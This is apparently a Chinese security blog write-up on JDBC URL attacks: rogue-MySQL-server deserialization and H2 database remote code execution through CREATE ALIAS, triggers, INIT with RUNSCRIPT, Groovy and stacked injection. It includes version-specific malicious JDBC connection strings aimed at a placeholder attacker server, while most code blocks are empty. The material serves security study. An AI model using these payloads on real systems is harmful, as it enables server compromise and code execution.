JDBC
前言
JDBC(Java DataBase Connectivity)是SUN公司发布的一个java程序与数据库之间通信的接口(规范),各大数据库厂商去实现JDBC规范,并将实现类打包成jar包。
由于JDK版本的提升以及依赖包的更新,各种恶意类方面的反序列化都或多或少收到影响,能打的链子也会越来越少,但是JDBC把数据库机制引入,使得在当前大环境下Java漏洞不仅仅局限在java方面,也可以配合数据库方面进行attack,这种方式仍旧经久不衰,足见JDBC攻击的适应性之强。
所以Hessian我还是放到后面再说,这里先把JDBC浅浅引入一下。
MySQL-JDBC
反序列化分析
进行数据库连接时指定了数据库的URL及连接配置
1 |
|
若JDBC连接的URL被攻击者控制,就可以让其指向恶意的MySQL服务器
JDBC连接MySQL服务端时,会有几个内置的SQL查询语句会执行,查询的结果集会在MySQL客户端被处理时会调用ObjectInputStream#readObject
进行反序列化。
攻击者可以搭建恶意MySQL服务器,返回精心构造的查询结果集,进行客户端反序列化攻击。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
恶意MySQL服务器搭建:
上述工具是模拟MySQL发包过程用的,只需要开对应端口运行脚本就可以了。
1 |
|
1 |
|
1 |
|
1 |
|
设置对应的查询拦截器(即我们指定的ServerStatusDiffInterceptor
)
执行查询语句会调用拦截器的preProcess
和postProcess
判断拦截器是否为空,非空则调用invokeQueryInterceptorsPre
invokeQueryInterceptorsPre
调用了拦截器的preProcess
:
看到执行了SHOW SESSION STATUS
,并将结果(com.mysql.cj.jdbc.result.ResultSetImpl
)传入ResultSetUtil#resultSetToMap
进行反序列化处理:
1 |
|
getObject
判断MySQL类型为BLOB后,从MySQL服务端获取对应的字节码数据
从MySQL服务端获取到字节码数据后,判断autoDeserialize
是否为true(连接URL中设置了autoDeserialize=true
)、字节码数据是否为序列化对象(前两个字节为-84
和-19
标识序列化对象)等,最后调用readObject
触发反序列化漏洞
Payload
ServerStatusDiffInterceptor
触发。
8.x<=8.0.20
1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x
queryInterceptors
改名statementInterceptors
1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>=5.1.11
包名不含cj
1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x<=5.1.10
同上,需要连接后执行查询
detectCustomCollations
触发
5.1.29~5.1.40
1
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.19~5.1.28
1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
参考:
MySQL JDBC Attack | Java (gitbook.io)
[MySQL JDBC反序列化漏洞 Mi1k7ea ]
MySQL JDBC 客户端反序列化漏洞分析-安全客 - 安全资讯平台 (anquanke.com)
H2-JDBC
也曾在HGAME的新生赛上见到了H2数据库的SQL注入=>RCE漏洞,而且课内数据库开发我也是用的H2数据库交了一次作业hhh,所以印象还是比较深。
JDBC是JDK提供的一个用于连接数据库的接口(Java DataBase Connectivity),各个数据库厂商(MySQL、Oracle、SQLServer)负责编写自己的JDBC实现类,再把这些实现类打包为驱动jar包,我们使用JDBC的接口编程,背后调用的实则是实现类里的方法。
常见的JDBC使用方法是在配置文件中写好JDBC引擎、连接数据库的URL、账户、密码。
1 |
|
那么JDBC连接的URL怎么能够让用户控制得到呢?实际在一些场景或者渗透测试里,比如后台修改数据库配置、测试数据库连接中,管理员就可以控制JDBC的连接URL。
因此这类漏洞主要是在后台管理(当然第一步得攻进后台,未授权、弱密钥、逻辑漏洞等等等)。
此处介绍h2 database的相关漏洞。
H2是一个用Java编写的数据库,支持内存(有点像sqlite)、文件等模式,只有一个jar文件,适合作为嵌入式数据库使用。主要用于单元测试。H2提供了一个web控制台用于操作和管理数据库。
H2连接
一般我们会用SpringBoot来整合H2。
h2 database console可以整合到SpringBoot中,也可以独立启动(其内置了一个WebServer)
H2支持运行三种模式:
Embedded(嵌入式)->无需配置本地/远程数据库; 数据库连接关闭时, 数据与表结构依然存在;
In-Memory(内存模式)->无需配置本地/远程数据库, 但数据库连接关闭时,数据与表结构丢失;
ServerMode(传统模式)->需要配置本地/远程数据库;
jar启动
这里省个事抄了。实际上把h2挂在依赖里,启动项目就能启动H2。
在官网下载jar包,调用里面的org.h2.tools.Server
类
1 |
|
1 |
|
启动Web console,默认监听8082端口
H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库
H2数据库默认用户名为sa、密码为空:
SpringBoot整合
1 |
|
在application.properties
中添加h2连接的配置
1 |
|
注意这里springboot可以修改h2 console的访问路径,若未配置此项默认为h2-console
demo就免了,网上一大把。
H2-JNDI
1 |
|
使用BeanFactory本地工厂类实现的JNDI,H2是支持的。
高版本的H2只允许JNDI lookup的URL以java开头:
而在H2的函数文档中能发现一处可能造成JNDI注入的:LINK_SCHEMA
http://www.h2database.com/html/functions.html#link_schema
1 |
|
同样高版本对URL进行了限制,只允许java开头
H2-RCE
UDF执行
CREATE ALIAS
自定义函数
创建一个shell函数并调用
1 |
|
h2中两个$
表示无需转义的长字符串
对比高版本的H2,handleSyntaxError
多传了一个参数,若第二个参数是0则直接返回,不进行语法错误处理
1 |
|
那如果遇上目标用了lombok还是H2低版本呢?只能考虑调用目标本地的静态公开方法
如com.sun.org.apache.xml.internal.security.utils.JavaUtils
有两个读写文件的静态公开方法
1 |
|
读出来的结果为byte数组,还得转为字符串
1 |
|
虽然writeBytesToFilename
第二个参数要求为byte数组,但传字符串也行,H2能够自动转换。或者在十六进制字符串前面加个X。
1 |
|
当然还有其他静态方法可以利用,比如
java.sql.DriverManager#getConnection
连接恶意MySQL服务器javax.naming.InitialContext#doLookup
JNDI注入com.alibaba.fastjson.JSON#parseObject
FastJson反序列化org.springframework.util.SerializationUtils.deserialize
二次反序列化
js执行
CREATE TRIGGER
这个命令稍微麻烦一点,利用的是触发器,即增删改时会触发一些动作,需要新建一张表,或者需要有已知表。
下面上网上流传的poc:
1 |
|
但实际上创建触发器时那段js代码就被执行了,后面插入数据也没有执行
好在这句创建触发器的语句可以多次执行(因为根本没创建成功)
为什么呢?因为这段js代码本意是用来返回一个Trigger
对象的
查看官方文档https://www.h2database.com/html/commands.html#create_trigger
The trigger class must be public and implement
org.h2.api.Trigger
. Inner classes are not supported. The class must be available in the classpath of the database engine (when using the server mode, it must be in the classpath of the server).The sourceCodeString must define a single method with no parameters that returns
org.h2.api.Trigger
. SeeCREATE ALIAS
for requirements regarding the compilation. Alternatively, javax.script.ScriptEngineManager can be used to create an instance oforg.h2.api.Trigger
. Currently javascript (included in everyJRE
) and ruby (withJRuby
) are supported. In that case the source must begin respectively with//javascript
or#ruby
.Example:
CREATE TRIGGER TRIG_INS BEFORE INSERT ON TEST FOR EACH ROW CALL ‘MyTrigger’;
CREATE TRIGGER TRIG_SRC BEFORE INSERT ON TEST AS ‘org.h2.api.Trigger create() { return new MyTrigger(“constructorParam”); }’;
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS ‘//javascript return new Packages.MyTrigger(“constructorParam”);’;
CREATE TRIGGER TRIG_RUBY BEFORE INSERT ON TEST AS ‘#ruby Java::MyPackage::MyTrigger.new(“constructorParam”)’;
可以用javax.script.ScriptEngineManager
来创建一个org.h2.api.Trigger
实例
org.h2.schema.TriggerObject#loadFromSource
判断是否为js或ruby脚本
简单判断是否以//javascript
开头
然后就是经典的new ScriptEngineManager().getEngineByName("javascript")
返回CompiledScript
调用其eval
低版本H2(1.4.200之前)貌似不支持js脚本,没有isJavascriptSource
这段代码。
出网利用——init+runscript
上面这些操作的利用前提都是h2 console成功连接到数据库。
低版本H2(1.4.193
左右)当连接的数据库不存在时会自动创建,但高版本就不行了
会报错Database "mem:test" not found.either pre-create it or allow remote database creation
要么连接Springboot中spring.datasource.url
指明的数据库,要么需要启动console时带上-ifNotExists
参数
因此能否不连接进去就能执行命令呢?
h2数据库的JDBC URL中支持的一个配置INIT
这个参数表示在连接h2数据库时,会执行一条初始化命令。不过只支持执行一条命令,而且不能包含分号;
上面CREATE ALIAS
用于命令执行的SQL语句都不止一条。可以利用RUNSCRIPT
命令。RUNSCRIPT
用于执行一个SQL文件
1 |
|
这个方法能用在任何能配置JDBC URL且依赖了H2的地方
然后就可以URL远程加载恶意类了。
不出网利用——init+groovy
JDBC连接时INIT
只允许执行一条SQL命令,而我们的命令执行有两句,一句创建UDF,一句执行UDF
除非有已知表,使用CREATE TRIGGER
就只需一句。实际上可以利用H2的系统表,H2和MySQL一样也有INFORMATION_SCHEMA
The system tables and views in the schema
INFORMATION_SCHEMA
contain the meta data of all tables, views, domains, and other objects in the database as well as the current settings.
1 |
|
需要注意的是,H2提取URL中的配置时是通过分割分号;
来提取的,因此JS代码中不能有分号,否则会报错(可以加上反斜杠代表转义)
若目标环境有Groovy
依赖,可以使用元编程的技巧来命令执行,在编译Groovy
语句而非执行时就执行攻击者的代码。
添加groovy-sql
依赖
1 |
|
1 |
|
SQLI 2 RCE
可见HGAME week2-web wp - Eddie_Murphy - 博客园 (cnblogs.com)的SearchVmenber那道题。
INIT
参数可以直接在连接数据库时执行初始化的sql语句
除了INIT
参数,一些参数在连接数据库时会执行SET命令,存在SQL注入
比如TRACE_LEVEL_SYSTEM_OUT
、TRACE_MAX_FILE_SIZE
……
org.h2.engine.Engine#openSession
会对我们传入的参数进行SET
语句拼接
开始尝试堆叠注入
坑:semicolon分割之痛
1 |
|
这个payload并不能打通,还得看它是怎么提取setting参数的
org.h2.engine.ConnectionInfo#readSettingsFromURL
这个类用于存储连接信息
问题就出在这,我们用于堆叠注入的分号;
,同时也是H2用来提取设置参数的分隔符。。。🥲
但要是settings的值本来就存在分号怎么办,照理是会提供转义的,跟进StringUtils.arraySplit
一探究竟
果然是支持反斜杠转义的。因此在payload中分号前面加上\
即可
1 |
|
后记
基本纯抄的,因为分析起来太费劲了,尤其是配环境之类的…以前的环境找不到了就又偷个懒。
这里简单介绍了H2的JDBC攻击方法,在JDBC URL可控的情况下(不局限于h2 web console)
- JNDI注入(高版本限制了只能是java协议)
- 利用init参数执行
RUNSCRIPT
命令加载执行远程恶意SQL - 利用init参数直接执行
groovy
元编程代码(不出网) - 利用其他连接参数进行堆叠注入
当然若能直接连接上去,就能直接UDF命令执行了。
而对于h2 web console,利用方式会受到一些限制:
- 需要开启
-webAllowOthers
选项,支持外部连接 - 需要开启
-ifNotExists
选项,支持创建数据库
参考: